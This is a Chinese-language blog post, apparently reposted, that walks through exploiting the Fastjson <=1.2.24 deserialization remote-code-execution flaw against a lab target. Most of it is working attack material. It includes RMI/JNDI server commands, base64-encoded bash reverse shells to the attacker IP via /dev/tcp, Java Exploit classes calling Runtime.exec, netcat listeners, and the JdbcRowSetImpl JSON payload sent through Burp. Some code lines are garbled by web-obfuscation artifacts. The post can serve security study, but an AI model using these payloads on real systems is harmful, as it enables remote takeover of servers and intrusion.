Fastjson <=1.2.24反序列化远程命令执行漏洞
2023-3-15 09:17:48 Author: 藏剑安全(查看原文) 阅读量:23 收藏

1、靶机IP:192.168.111.133

     攻击机IP:192.168.111.129

2、下载利用工具。

下载链接:

git clone https://github.com/wyzxxz/fastjson_rce_tool.git

3、利用工具启动RMI server

java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "要执行的命令"
java -cp fastjson_tool.jar fastjson.HRMIServer 攻击机IP 端口随意 "要执行的命令"

如果是反弹shell的命令,需要将其进行编码,管道符,输入输出重定向,只有在bash环境下才能用,而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符,输入输出重定向等,因此需要base64编码一下。

4、反弹shell命令。

bash -i >& /dev/tcp/192.168.111.129/6666 0>&1

我们进行base64编码:http://www.jsons.cn/base64/

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

5、然后放入payload中执行。

java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

利用JNDI注入加载远程RMI server上的字节码。

6、生成字节码文件步骤如下:

Exploit.java

//javac Exploit.javaimport java.lang.Runtime;import java.lang.Process;
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c [email protected]|bash 0 echo bash -i &gt;& /dev/tcp/192.168.111.129/6666 0&gt;&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); }}

7、对Exploit.java文件进行编译。

javac Exploit.java

8、我们在攻击机开启监听。

nc -lvvp 6666

9、我们在Burp里面发包。

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Exploit",
"autoCommit":true
}
}

10、此时我们已经拿到了shell。

1、工具下载:

https://github.com/mbechler/marshalsec

2、借助marshalsec项目启动一个rmi服务器,监听一个端口,并指定加载远程类Exploit.class。

maven打包项目成jar包:

mvn clean package -DskipTests

2、攻击机开启RMI Server。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.129:8000/#Exploit" 9999

3、编写漏洞利用脚本Exploit.java。

//javac Exploit.javapublic class Exploit{    public Exploit(){        try{            Runtime.getRuntime().exec("/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/192.168.111.129/2333 0>&1");        }catch(Exception e){            e.printStackTrace();        }    }    public static void main(String[] argv){        Exploit e = new Exploit();    }}

4、在攻击机开启8000端口的HTTP服务,在Exploit.class所在目录执行。

[python2]python2 -m SimpleHTTPServer[python3]python3 -m http.server

5、攻击机开启2333端口监听,等待靶机将shell送上来。

nc -lvvp 2333

6、Burp发包攻击。

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Exploit",
"autoCommit":true
}
}

7、此时我们成功拿到了shell。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDA5NzUzNA==&mid=2247484898&idx=1&sn=d025c58b7982e6093b4b5df93757251e&chksm=cfe09ff3f89716e5dc86bd0e385e64fe343742672ccf8eeab109848da9671a2564b526f74714#rd
如有侵权请联系:admin#unsafe.sh